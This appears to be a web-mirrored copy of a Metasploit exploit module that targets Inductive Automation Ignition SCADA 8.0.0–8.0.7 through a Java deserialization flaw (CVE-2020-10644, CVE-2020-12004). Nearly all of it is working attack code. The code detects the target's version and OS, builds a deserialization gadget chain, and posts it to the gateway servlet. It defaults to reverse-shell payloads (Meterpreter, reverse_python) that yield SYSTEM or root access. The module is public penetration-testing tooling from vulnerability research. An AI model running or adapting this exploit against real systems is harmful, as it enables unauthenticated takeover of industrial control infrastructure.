Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/scada/inductive_ignition_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::EXE9include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::JavaDeserialization1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Inductive Automation Ignition Remote Code Execution',17'Description' => %q{18This module exploits a Java deserialization vulnerability in the Inductive Automation Ignition SCADA product,19versions 8.0.0 to (and including) 8.0.7.20This exploit was tested on versions 8.0.0 and 8.0.7 on both Linux and Windows.21The default configuration is exploitable by an unauthenticated attacker, which can achieve22remote code execution as SYSTEM on a Windows installation and root on Linux.23The vulnerability was discovered and exploited at Pwn2Own Miami 2020 by the Flashback team (Pedro Ribeiro +24Radek Domanski).25},26'License' => MSF_LICENSE,27'Author' => [28'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module29'Radek Domanski <radek.domanski[at]gmail.com> @RabbitPro' # Vulnerability discovery and Metasploit module30],31'References' => [32[ 'URL', 'https://www.zerodayinitiative.com/blog/2020/6/10/a-trio-of-bugs-used-to-exploit-inductive-automation-at-pwn2own-miami'],33[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Miami_2020/rce_me_v2/rce_me_v2.md'],34[ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Miami2020/rce_me_v2.md'],35[ 'CVE', '2020-10644'],36[ 'CVE', '2020-12004'],37[ 'ZDI', '20-685'],38[ 'ZDI', '20-686'],39],40'Privileged' => true,41'Platform' => %w[unix win],42'DefaultOptions' => {43'WfsDelay' => 1544},45'Targets' => [46[ 'Automatic', {} ],47[48'Windows',49{50'Platform' => 'win',51'DefaultOptions' =>52{ 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }53},54],55[56'Linux',57{58'Platform' => 'unix',59'Arch' => [ARCH_CMD],60'DefaultOptions' =>61{ 'PAYLOAD' => 'cmd/unix/reverse_python' }62},63]64],65'DisclosureDate' => '2020-06-11',66'DefaultTarget' => 0,67'Notes' => {68'Stability' => [ CRASH_SAFE ],69'SideEffects' => [ IOC_IN_LOGS ],70'Reliability' => [ REPEATABLE_SESSION ]71}72)73)74register_options(75[76Opt::RPORT(8088)77]78)79end8081def version_get82res = send_request_cgi({83'uri' => '/system/gwinfo',84'method' => 'GET'85})8687if res && res.code == 30288# try again, versions < 8 use a different URL89res = send_request_cgi({90'uri' => '/main/system/gwinfo',91'method' => 'GET'92})93end9495if res && res.code == 20096# Regexp to get the version of the server97version = res.body.match(/;Version=([0-9.]{3,});/)98if version99return version[1]100end101end102return ''103end104105def os_get106res = send_request_cgi({107'uri' => '/system/gwinfo',108'method' => 'GET'109})110if res && res.code == 200111# Regexp to get the OS112os = res.body.match(/OS=([a-zA-Z0-9\s]+);/)113return os[1]114end115end116117def create_java_str(payload)118(119"\xac\xed" + # STREAM_MAGIC120"\x00\x05" + # STREAM_VERSION121"\x74" + # String object122[payload.length].pack('n') + # length123payload124).force_encoding('ascii') # is this needed in msf?125end126127def check128version = Rex::Version.new(version_get)129if version.segments.length < 3130fail_with(Failure::Unknown, 'Failed to obtain target version')131end132print_status("#{peer} - Detected version #{version}")133if version >= Rex::Version.new('8.0.0') && version <= Rex::Version.new('8.0.7')134return Exploit::CheckCode::Appears135else136return Exploit::CheckCode::Safe137end138end139140def pick_target141os = os_get142if os.include?('Windows')143return targets[1]144elsif os.include?('Linux')145return targets[2]146else147fail_with(Failure::NoTarget, "#{peer} - Unable to select a target, we must bail out.")148end149end150151def exploit152# Check if automatic target selection is set153if target.name == 'Automatic'154my_target = pick_target155else156my_target = target157end158print_status("#{peer} - Attacking #{my_target.name} target")159160# <version> is a CRC32 calculated by the server that we didn't want to reverse161# However in com.inductiveautomation.ignition.gateway.servlets.Gateway.doPost()162# (line 383 of gateway-8.0.7.jar)163# ... it will helpfully ignore the version if set to 0164data =165'<?xml version="1.0" encoding="UTF-8"?><requestwrapper><version>0</version><scope>2</scope><message><messagetype>199</messagetype><messagebody>'\166'<arg name="funcId"><![CDATA[ProjectDownload]]></arg><arg name="subFunction"><![CDATA[getDiff]]></arg><arg name="arg" index="0">'\167'<![CDATA['168169version = Rex::Version.new(version_get)170171if version172print_status("#{peer} - Detected version #{version}")173else174print_error("#{peer} - Target has an unknown version, this might not work...")175end176177# Version 8.0.0 doesn't work with CommonsBeanutils1, but CommonsCollections6 works!178#179# An alternative to this would be GET /system/launchmf/D which will helpfully return180# a list of all the jars in the system, letting us pick the right gadget chain.181# However only 8.0.0 differs, so let's just have a special case for that.182if version == Rex::Version.new('8.0.0')183lib = 'CommonsCollections6'184else185lib = 'CommonsBeanutils1'186end187188java_payload = generate_java_deserialization_for_payload(lib, payload)189java_payload = Rex::Text.encode_base64(java_payload)190java_payload = create_java_str(java_payload)191java_payload = Rex::Text.encode_base64(java_payload)192data += java_payload193194data += ']]></arg></messagebody></message><locale><l>en</l><c>GB</c><v></v></locale></requestwrapper>'195196print_status("#{peer} - Sending payload...")197198res = send_request_cgi({199'uri' => '/system/gateway',200'method' => 'POST',201'data' => data202})203204if res&.body&.include?('Unable to load project diff.')205print_good("#{peer} - Success, shell incoming!")206else207print_error("#{peer} - Something is not right, try again?")208end209end210end211212213